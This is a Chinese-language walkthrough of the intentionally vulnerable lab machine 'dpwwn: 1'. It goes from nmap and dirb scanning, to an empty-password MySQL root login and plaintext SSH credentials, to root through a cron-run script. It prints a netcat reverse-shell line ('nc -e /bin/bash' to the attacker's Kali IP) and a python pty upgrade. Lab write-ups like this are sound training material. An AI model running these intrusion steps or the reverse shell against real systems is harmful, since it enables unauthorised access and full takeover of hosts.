dpwwn: 1

Description

  • Name: dpwwn: 1
  • Date release: 4 Aug 2019
  • DHCP service: Enabled
  • IP address: Automatically assign
  • Goal: Gain the root privilege and obtain the content of dpwwn-01-FLAG.txt under /root Directory.

Download

(Size: 618 MB)

主机发现

nmap -sP 192.168.91.1/24

image-20200712104548638

Kali:192.168.91.128

靶机:192.168.91.129

端口扫描

nmap -sV -p- 192.168.91.129

image-20200712104749046

开启了22端口(ssh),80端口(http),3306端口(mysql)

访问80端口服务

image-20200712104918152

尝试扫描一波目录

dirb http://192.168.91.129

image-20200712105052027

发现了一个info.php文件,好像没啥用

漏洞发现

转而看看mysqlssh有没有值得利用的漏洞,然后发现mysql可root登录,密码为空

mysql -u root -h 192.168.91.129 -p

image-20200712105819458

然后发现ssh的数据库,的用户名和密码直接明文存储

show databases;
use ssh;
show tables;
select * from users;

image-20200712105943557

得到用户名和密码为:mistic/testP@$$swordmistic

漏洞利用

登录ssh

ssh mistic@192.168.91.129

image-20200712110546744

mistic用户目录下发现logrot.sh文件

#!/bin/bash
#
#LOGFILE="/var/tmp"
#SEMAPHORE="/var/tmp.semaphore"


while : ; do
  read line
  while [[ -f $SEMAPHORE ]]; do
    sleep 1s
  done
  printf "%s
" "$line" >> $LOGFILE
done

而且在crontab以root权限执行该文件

image-20200712110910976

get root

使用nc反弹shell

echo nc -e /bin/bash 192.168.91.128 1234 > logrot.sh

image-20200712112205227

在kali上监听1234端口

nc -lvp 1234

使用python增加交互

python -c 'import pty; pty.spawn("/bin/bash")'

image-20200712112847420

get flag:

image-20200712112906748

原文地址:https://www.cnblogs.com/yoloyanng/p/13287811.html